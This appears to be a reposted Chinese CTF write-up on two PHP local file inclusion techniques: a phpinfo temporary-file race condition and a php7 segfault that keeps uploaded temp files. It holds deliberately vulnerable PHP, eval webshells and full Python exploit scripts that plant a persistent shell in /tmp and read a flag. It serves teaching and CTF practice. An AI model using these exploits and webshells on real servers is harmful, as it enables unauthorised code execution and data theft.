文件包含&奇技淫巧

栏目: 服务器 · 发布时间: 6年前

内容简介:前言最近遇到一些文件包含的题目,在本篇文章记录两个trick。复现环境还是很容易搭建的:

前言

最近遇到一些文件包含的题目,在本篇文章记录两个trick。

环境背景

复现环境还是很容易搭建的:

例题1(php7)

index.php

<?php
$a = @$_GET['file'];
echo 'include $_GET[\'file\']';
if (strpos($a,'flag')!==false) {
die('nonono');
}
include $a;
?>

dir.php

<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));

例题2(php5)

index.php

<?php
$a = @$_GET['file'];
echo 'include $_GET[\'file\']';
if (strpos($a,'flag')!==false) {
die('nonono');
}
include $a;
?>

phpinfo.php

<?php
phpinfo();
?>

两道题的最终目标都是拿到根目录的flag。

phpinfo+LFI

我们看到例题2:

我们有文件包含,那么我们可以轻易的用伪协议泄露源代码:

file=php://filter/read=convert.base64-encode/resource=index.php

这是老生常谈的问题,无需多讲,重点在于如何去读取根目录的flag。

最容易想到的是利用包含:

http://ip/index.php?file=/flag

但是由于:

if (strpos($a,'flag')!==false) {
die('nonono');
}

我们并不能进行读取,那么很容易想到,尝试getshell。

这里我们可以介绍第一个trick,即利用phpinfo会打印上传缓存文件路径的特性,进行缓存文件包含达到getshell的目的。

我们简单写一个测试脚本:

import requests
from io import BytesIO
files = {
  'file': BytesIO("<?php echo 'sky is cool!';")
}
url = "http://ip/phpinfo.php"
r = requests.post(url=url, files=files, allow_redirects=False)
print r.content

可以看到回显中有如下内容:

_FILES["file"]
Array
(
    [name] => test.txt
    [type] => application/octet-stream
    [tmp_name] => /tmp/phptZQ0xZ
    [error] => 0
    [size] => 26
)

我们只要利用这一特性,进行包含getshell即可。

首先我们利用正则匹配,提取临时文件名:

data = re.search(r"(?<=tmp_name] => ).*", r.content).group(0)

文件包含&奇技淫巧 接下来就是条件竞争的问题:如何在文件临时文件消失前,包含到它。

这里为了事半功倍,我搜集了一些资料和原理:

1.临时文件在phpinfo页面加载完毕后才会被删除。

2.phpinfo页面会将所有数据都打印出来,包括header。

3.php默认的输出缓冲区大小为4096,可以理解为 php 每次返回4096个字节给socket连接。

(来自ph牛: https://github.com/vulhub/vulhub/tree/master/php/inclusion )

那么我们的竞争流程可以总结为:

1.发送包含了webshell的上传数据包给phpinfo页面,同时在header中塞满垃圾数据。

2.因为phpinfo页面会将所有数据都打印出来,垃圾数据会加大phpinfo加载时间。

3.直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包。

4.此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除。

5.利用这个时间差,在第二个数据包进行文件包含漏洞的利用,即可成功包含临时文件,最终getshell。

同时,对于webshell也有讲究,因为包含过程比较麻烦,如果使用一次性一句话木马:

<?php @eval($_REQUEST[sky]);

则每次执行命令,都要进行一次包含,耗时耗力,所以我们选择包含后写入文件的shell:

<?php file_put_contents('/tmp/sky', '<?php @eval($_REQUEST[sky]);?>');?>

这样一旦包含成功,该 shell 就会在tmp目录下永久留下一句话木马文件sky,下次利用直接轻松包含即可。

尝试进行exp编写:

import os
import socket
import sys
def init(host,port):
padding = 'sky'*2000
payload="""sky test!<?php file_put_contents('/tmp/sky', '<?php eval($_REQUEST[sky]);?>');?>\r"""
request1_data ="""------WebKitFormBoundary9MWZnWxBey8mbAQ8\r
Content-Disposition: form-data; name="file"; filename="test.php"\r
Content-Type: text/php\r
\r
%s
------WebKitFormBoundary9MWZnWxBey8mbAQ8\r
Content-Disposition: form-data; name="submit"\r
\r
Submit\r
------WebKitFormBoundary9MWZnWxBey8mbAQ8--\r
""" % payload
request1 = """POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: skypadding="""+padding+"""\r
Cache-Control: max-age=0\r
Upgrade-Insecure-Requests: 1\r
Origin: null\r
Accept: """ + padding + """\r
User-Agent: """+padding+"""\r
Accept-Language: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9MWZnWxBey8mbAQ8\r
Content-Length: %s\r
Host: %s:%s\r
\r
%s""" %(len(request1_data),host,port,request1_data)
request2 = """GET /index.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s:%s\r
\r
\r
"""
return (request1,request2)
def getOffset(host,port,request1):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(request1)
    d = ""
    while True:
        i = s.recv(4096)
        d+=i       
        if i == "":
            break
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] => ")
    if i == -1:
        print 'not fonud'
    
    print "found %s at %i" % (d[i:i+10],i)
    return i+256
def phpinfo_LFI(host,port,offset,request1,request2):
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((host,port))
s2.connect((host,port))
s1.send(request1)
d = ""
while len(d) < offset:
d += s1.recv(offset)
try:
i = d.index("[tmp_name] => ")
fn = d[i+17:i+31]
s2.send(request2 % (fn,host,port))
tmp = s2.recv(4096)
if tmp.find("sky test!") != -1:
return fn
except ValueError:
    return None
s1.close()
s2.close()
attempts = 1000
host = "ip"
port = "port"
request1,request2 = init(host,port)
offset = getOffset(host,port,request1)
for i in range(1,attempts):
print "try:"+str(i)+"/"+str(attempts)
sys.stdout.flush()
res = phpinfo_LFI(host,port,offset,request1,request2)
if res is not None:
print 'You can getshell with /tmp/sky!'
break

编写还是非常容易的,知道原理后,其实不存在多少条件竞争,最多尝试个10次左右就可以达成目的。

随后我们就可以轻松getshell:

文件包含&奇技淫巧

LFI+php7崩溃

前一题我们能做,得益于phpinfo的存在,但如果没有phpinfo的存在,我们就很难利用上述方法去getshell。

但如果目标不存在phpinfo,应该如何处理呢?

这里可以用php7 segment fault特性。

我们可以利用:

http://ip/index.php?file=php://filter/string.strip_tags=/etc/passwd

这样的方式,使php执行过程中出现Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除:

文件包含&奇技淫巧

这样就能达成我们getshell的目的,脚本相对容易很多:

文件包含&奇技淫巧

加上我们有dir.php

<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));

可以进行目录列举,我们只要找到临时文件名即可:

编写exp

import requests
from io import BytesIO
import re
files = {
  'file': BytesIO('<?php eval($_REQUEST[sky]);')
}
url = 'http://ip/index.php?file=php://filter/string.strip_tags/resource=/etc/passwd'
try:
r = requests.post(url=url, files=files, allow_redirects=False)
except:
url = 'http://ip/dir.php'
r = requests.get(url)
data = re.search(r"php[a-zA-Z0-9]{1,}", r.content).group(0)
url = "http://ip/index.php?file=/tmp/"+data
data = {
'sky':"readfile('/flag');"
}
r =  requests.post(url=url,data=data)
print r.content

运行即可看到flag

➜  Desktop python myexp2.py
include $_GET['file']flag{LFI_php7~}

后记

两则trick还是挺有意思的,如果出题不注意很容易进行非预期,同时在日常coding时也得注意这些不起眼的问题,一不留神就会被getshell。


以上所述就是小编给大家介绍的《文件包含&奇技淫巧》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Artificial Intelligence

Artificial Intelligence

Stuart Russell、Peter Norvig / Pearson / 2009-12-11 / USD 195.00

The long-anticipated revision of this #1 selling book offers the most comprehensive, state of the art introduction to the theory and practice of artificial intelligence for modern applications. Intell......一起来看看 《Artificial Intelligence》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

html转js在线工具
html转js在线工具

html转js在线工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换